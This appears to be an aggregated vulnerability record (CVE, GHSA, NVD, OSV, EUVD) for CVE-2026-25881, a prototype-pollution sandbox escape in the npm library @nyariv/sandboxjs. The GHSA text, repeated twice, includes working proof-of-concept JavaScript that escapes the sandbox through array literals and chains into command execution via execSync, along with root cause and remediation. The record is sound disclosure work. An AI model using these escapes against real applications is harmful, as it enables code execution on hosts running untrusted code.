{"id":"CVE-2026-25881","aliases":["EUVD-2026-6864","GHSA-ww7g-4gwx-m7wj"],"status":"published","title":"@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.31, a sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the isGlobal protection flag through array literal intermediaries. When a global prototype reference (e.g., Map.prototype, Set.prototype) is placed into an array and retrieved, the isGlobal taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: execSync(obj.cmd)). This vulnerability is fixed in 0.8.31.","severity":{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00613,"percentile":0.49882,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321"],"published":"2026-02-09T21:12:58Z","modified":"2026-10-28T02:30:48Z","fixes":[{"ecosystem":"npm","package":"@nyariv/sandboxjs","fixed_in":["0.8.31"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@nyariv/sandboxjs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.8.30"},{"fixed":"0.8.31"}]}]},{"source":"osv","ecosystem":"npm","package":"@nyariv/sandboxjs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.31"}]}]}],"products":[{"vendor":"nyariv","product":"sandboxjs"}],"references":[{"url":"https://github.com/nyariv/SandboxJS/security/advisories/GHSA-ww7g-4gwx-m7wj","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/nyariv/SandboxJS/commit/f369f8db26649f212a6a9a2e7a1624cb2f705b53","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25881","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-ww7g-4gwx-m7wj"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25881.json","tags":["advisory"]},{"url":"https://github.com/nyariv/SandboxJS","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-25881","title":"@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.31, a sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the isGlobal protection flag through array literal intermediaries. When a global prototype reference (e.g., Map.prototype, Set.prototype) is placed into an array and retrieved, the isGlobal taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: execSync(obj.cmd)). This vulnerability is fixed in 0.8.31.","status":"published","published":"2026-02-09T21:12:58.981Z","modified":"2026-02-10T15:58:08.474Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T13:41:19.694734Z"}],"euvd":[{"id":"EUVD-2026-6864","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.31, a sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the isGlobal protection flag through array literal intermediaries. When a global prototype reference (e.g., Map.prototype, Set.prototype) is placed into an array and retrieved, the isGlobal taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: execSync(obj.cmd)). This vulnerability is fixed in 0.8.31.","status":"published","published":"2026-02-09T21:12:58Z","modified":"2026-02-10T15:58:08Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T19:48:42.087959Z"}],"ghsa":[{"id":"GHSA-ww7g-4gwx-m7wj","title":"@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)","description":"### Summary\nA sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the `isGlobal` protection flag through array literal intermediaries. When a global prototype reference (e.g., `Map.prototype`, `Set.prototype`) is placed into an array and retrieved, the `isGlobal` taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: `execSync(obj.cmd)`).\n\n### Details\n#### Root Cause:\nThe sandbox implements a protection mechanism using the `isGlobal` flag in the Prop class to prevent modification of global objects and their prototypes. However, this taint tracking is lost when values pass through array/object literal creation.\n\n#### Vulnerable Code Path `src/executor.ts`([L559-L571](https://github.com/nyariv/SandboxJS/blob/main/src/executor.ts#L559-L571)):\n```ts\naddOps(LispType.CreateArray, (exec, done, ticks, a, b: Lisp[], obj, context, scope) =\u003e {\n  const items = (b as LispItem[])\n    .map((item) =\u003e {\n      if (item instanceof SpreadArray) {\n        return [...item.item];\n      } else {\n        return item;\n      }\n    })\n    .flat()\n    .map((item) =\u003e valueOrProp(item, context));  // \u003c- isGlobal flag lost here\n  done(undefined, items);\n});\n```\n#### Exploitation Flow:\n```txt\nSandboxed code: const m=[Map.prototype][0]\n              ↓\nArray creation: isGlobal taint stripped via valueOrProp()\n              ↓\nPrototype mutation: m.cmd='id' (host prototype polluted)\n              ↓\nHost-side impact: new Map().cmd === 'id' (persistent)\n              ↓\nRCE (application-dependent): host code calls execSync(obj.cmd)\n```\n\n#### Protection Bypass Location `src/utils.ts`([L380-L385](https://github.com/nyariv/SandboxJS/blob/main/src/utils.ts#L380-L385)):\n```ts\nset(key: string, val: unknown) {\n  // ...\n  if (prop.isGlobal) {  // \u003c- This check is bypassed\n    throw new SandboxError(`Cannot override global variable '${key}'`);\n  }\n  (prop.context as any)[prop.prop] = val;\n  return prop;\n}\n```\nWhen the prototype is accessed via array retrieval, the `isGlobal` flag is no longer set, so this protection is never triggered.\n\n### PoC\n#### Prototype pollution via array intermediary:\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const arr=[Map.prototype];\n  const p=arr[0];\n  p.polluted='pwned';\n  return 'done';\n`)().run();\n\nconsole.log('polluted' in ({}), new Map().polluted);\n```\n**Observed output**: `false pwned`\n\n#### Overwrite `Set.prototype.has`:\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const s=[Set.prototype][0];\n  s.has=isFinite;\n  return 'done';\n`)().run();\n\nconsole.log('has overwritten:', Set.prototype.has === isFinite);\n```\n\n**Observed output**: `has overwritten: true`\n\n#### RCE via host gadget (prototype pollution -\u003e execSync):\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst { execSync } = require('child_process');\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const m=[Map.prototype][0];\n  m.cmd='id';\n  return 'done';\n`)().run();\n\nconst obj = new Map();\nconst out = execSync(obj.cmd, { encoding: 'utf8' }).trim();\nconsole.log(out);\n```\n\n**Observed output**: `uid=501(user) gid=20(staff) groups=20(staff),...`\n\n### Impact\nThis is a sandbox escape: untrusted sandboxed code can persistently mutate host built-in prototypes (e.g., `Map.prototype`, `Set.prototype`), breaking isolation and impacting subsequent host execution. RCE is possible in applications that later use attacker-controlled (polluted) properties in sensitive sinks (e.g., passing `obj.cmd` to `child_process.execSync`).\n\n**Affected Systems**: any application using `@nyariv/sandboxjs` to execute untrusted JavaScript.\n\n### Remediation\n- Preserve `isGlobal` protection across array/object literal creation (do not unwrap `Prop` into raw values in a way that drops the global/prototype taint).\n- Add a hard block on writes to built-in prototypes (e.g., `Map.prototype`, `Set.prototype`, etc.) even if they are obtained indirectly through literals.\n- Defense-in-depth: freeze built-in prototypes in the host process before running untrusted code (may be breaking for some consumers).","status":"published","published":"2026-02-10T00:24:53Z","modified":"2026-02-10T02:56:34Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:39:24.742346Z"}],"nvd":[{"id":"CVE-2026-25881","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.31, a sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the isGlobal protection flag through array literal intermediaries. When a global prototype reference (e.g., Map.prototype, Set.prototype) is placed into an array and retrieved, the isGlobal taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: execSync(obj.cmd)). This vulnerability is fixed in 0.8.31.","status":"published","published":"2026-02-09T22:16:03.423Z","modified":"2026-06-17T10:25:22.373Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:12:05.52517Z"}],"osv":[{"id":"CVE-2026-25881","title":"@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.31, a sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the isGlobal protection flag through array literal intermediaries. When a global prototype reference (e.g., Map.prototype, Set.prototype) is placed into an array and retrieved, the isGlobal taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: execSync(obj.cmd)). This vulnerability is fixed in 0.8.31.","status":"published","published":"2026-02-09T21:12:58.981Z","modified":"2026-10-28T02:30:48.216410784Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:44:59.80315Z"},{"id":"GHSA-ww7g-4gwx-m7wj","title":"@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)","description":"### Summary\nA sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the `isGlobal` protection flag through array literal intermediaries. When a global prototype reference (e.g., `Map.prototype`, `Set.prototype`) is placed into an array and retrieved, the `isGlobal` taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: `execSync(obj.cmd)`).\n\n### Details\n#### Root Cause:\nThe sandbox implements a protection mechanism using the `isGlobal` flag in the Prop class to prevent modification of global objects and their prototypes. However, this taint tracking is lost when values pass through array/object literal creation.\n\n#### Vulnerable Code Path `src/executor.ts`([L559-L571](https://github.com/nyariv/SandboxJS/blob/main/src/executor.ts#L559-L571)):\n```ts\naddOps(LispType.CreateArray, (exec, done, ticks, a, b: Lisp[], obj, context, scope) =\u003e {\n  const items = (b as LispItem[])\n    .map((item) =\u003e {\n      if (item instanceof SpreadArray) {\n        return [...item.item];\n      } else {\n        return item;\n      }\n    })\n    .flat()\n    .map((item) =\u003e valueOrProp(item, context));  // \u003c- isGlobal flag lost here\n  done(undefined, items);\n});\n```\n#### Exploitation Flow:\n```txt\nSandboxed code: const m=[Map.prototype][0]\n              ↓\nArray creation: isGlobal taint stripped via valueOrProp()\n              ↓\nPrototype mutation: m.cmd='id' (host prototype polluted)\n              ↓\nHost-side impact: new Map().cmd === 'id' (persistent)\n              ↓\nRCE (application-dependent): host code calls execSync(obj.cmd)\n```\n\n#### Protection Bypass Location `src/utils.ts`([L380-L385](https://github.com/nyariv/SandboxJS/blob/main/src/utils.ts#L380-L385)):\n```ts\nset(key: string, val: unknown) {\n  // ...\n  if (prop.isGlobal) {  // \u003c- This check is bypassed\n    throw new SandboxError(`Cannot override global variable '${key}'`);\n  }\n  (prop.context as any)[prop.prop] = val;\n  return prop;\n}\n```\nWhen the prototype is accessed via array retrieval, the `isGlobal` flag is no longer set, so this protection is never triggered.\n\n### PoC\n#### Prototype pollution via array intermediary:\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const arr=[Map.prototype];\n  const p=arr[0];\n  p.polluted='pwned';\n  return 'done';\n`)().run();\n\nconsole.log('polluted' in ({}), new Map().polluted);\n```\n**Observed output**: `false pwned`\n\n#### Overwrite `Set.prototype.has`:\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const s=[Set.prototype][0];\n  s.has=isFinite;\n  return 'done';\n`)().run();\n\nconsole.log('has overwritten:', Set.prototype.has === isFinite);\n```\n\n**Observed output**: `has overwritten: true`\n\n#### RCE via host gadget (prototype pollution -\u003e execSync):\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst { execSync } = require('child_process');\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const m=[Map.prototype][0];\n  m.cmd='id';\n  return 'done';\n`)().run();\n\nconst obj = new Map();\nconst out = execSync(obj.cmd, { encoding: 'utf8' }).trim();\nconsole.log(out);\n```\n\n**Observed output**: `uid=501(user) gid=20(staff) groups=20(staff),...`\n\n### Impact\nThis is a sandbox escape: untrusted sandboxed code can persistently mutate host built-in prototypes (e.g., `Map.prototype`, `Set.prototype`), breaking isolation and impacting subsequent host execution. RCE is possible in applications that later use attacker-controlled (polluted) properties in sensitive sinks (e.g., passing `obj.cmd` to `child_process.execSync`).\n\n**Affected Systems**: any application using `@nyariv/sandboxjs` to execute untrusted JavaScript.\n\n### Remediation\n- Preserve `isGlobal` protection across array/object literal creation (do not unwrap `Prop` into raw values in a way that drops the global/prototype taint).\n- Add a hard block on writes to built-in prototypes (e.g., `Map.prototype`, `Set.prototype`, etc.) even if they are obtained indirectly through literals.\n- Defense-in-depth: freeze built-in prototypes in the host process before running untrusted code (may be breaking for some consumers).","status":"published","published":"2026-02-10T00:24:53Z","modified":"2026-02-10T03:05:27.55864Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:59.131095Z"}]}}